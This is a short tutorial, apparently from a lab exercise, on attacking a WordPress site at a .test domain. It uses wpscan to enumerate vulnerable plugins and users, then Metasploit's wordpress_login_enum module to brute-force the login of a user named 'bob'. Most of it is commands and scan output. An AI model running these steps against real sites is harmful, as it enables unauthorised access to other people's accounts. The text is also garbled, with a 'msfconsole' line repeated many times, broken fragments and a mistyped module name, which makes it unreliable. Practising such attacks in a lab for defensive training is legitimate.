Scanning for plugins using Wpscan

```
wpscan --url [TARGET URL] --plugins-detection aggressive --enumerate vp
```

Where --enumerate vp - starts enumeration for vulnerable plugins

```
ali)-[/home/kali/Desktop/Tools/PwnXSS]
   wpscan --url http://www.armourinfosec.test/ --plugins-detection aggressive --enumerate vp
         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
oxed{[i]} It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]n
[+] URL: http://www.armourinfosec.test/ [192.168.0.116]
[+] Started: Tue Jan 31 19:43:46 2023
Interesting Finding(s):
[+] Headers
  Interesting Entries:
   - Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.3.14
    - X-Powered-By: PHP/7.3.14
  Found By: Headers (Passive Detection)
 | Confidence: 100%
[+] XML-RPC seems to be enabled: http://www.armourinfosec.test/xmlrpc.php
  Found By: Direct Access (Aggressive Detection)
  Confidence: 100%
  References:
```

Enumerating for users using Wpscan

```
wpscan --url [TARGET URL] --plugins-detection aggressive --enumerate u

Where --enumerate u - starts user enumeration
```

```
[i] User(s) Identified:
[+] bob
    | Found By: Author Id Brute Forcing - Display Name (Aggressive Detection)
```

Brute-forcing using msfconsole

Launch msfconsole

```
"msfconsole"

"msfconsole"

"msfconsole"

"msfconsole"

"msfconsole

"msfconsole"

"msfconsole

"msfconsole"

"msfconsole

"msfcon
```

Search for wordpress by typing search wordpress

```
msf6 > search wordpress
```

```
23 auxiliary/scanner/http/wordpress_login_enum
ce and User Enumeration Utility
```

Type use 23 or use auxiliary/scanner/http/wordpress login enum

Type options to view options

Type Set RHOST [TARGET IP]

```
msf6 auxiliary(scanner/http/wordpress_login_enum) > set RHOSTS 192.168.0.116

Type Set TARGETURI [TARGET URL]

msf6 auxiliary(scanner/http/wordpress_login_enum) > set TARGETURI https://www.armourinfosec.test/wp-login.php?

Type Set USERNAME[USERNAME]

msf6 auxiliary(scanner/http/wordpress_login_enum) > set USERNAME bob
USERNAME ⇒ bob
```

Type Run or Exploit to start the brutefroce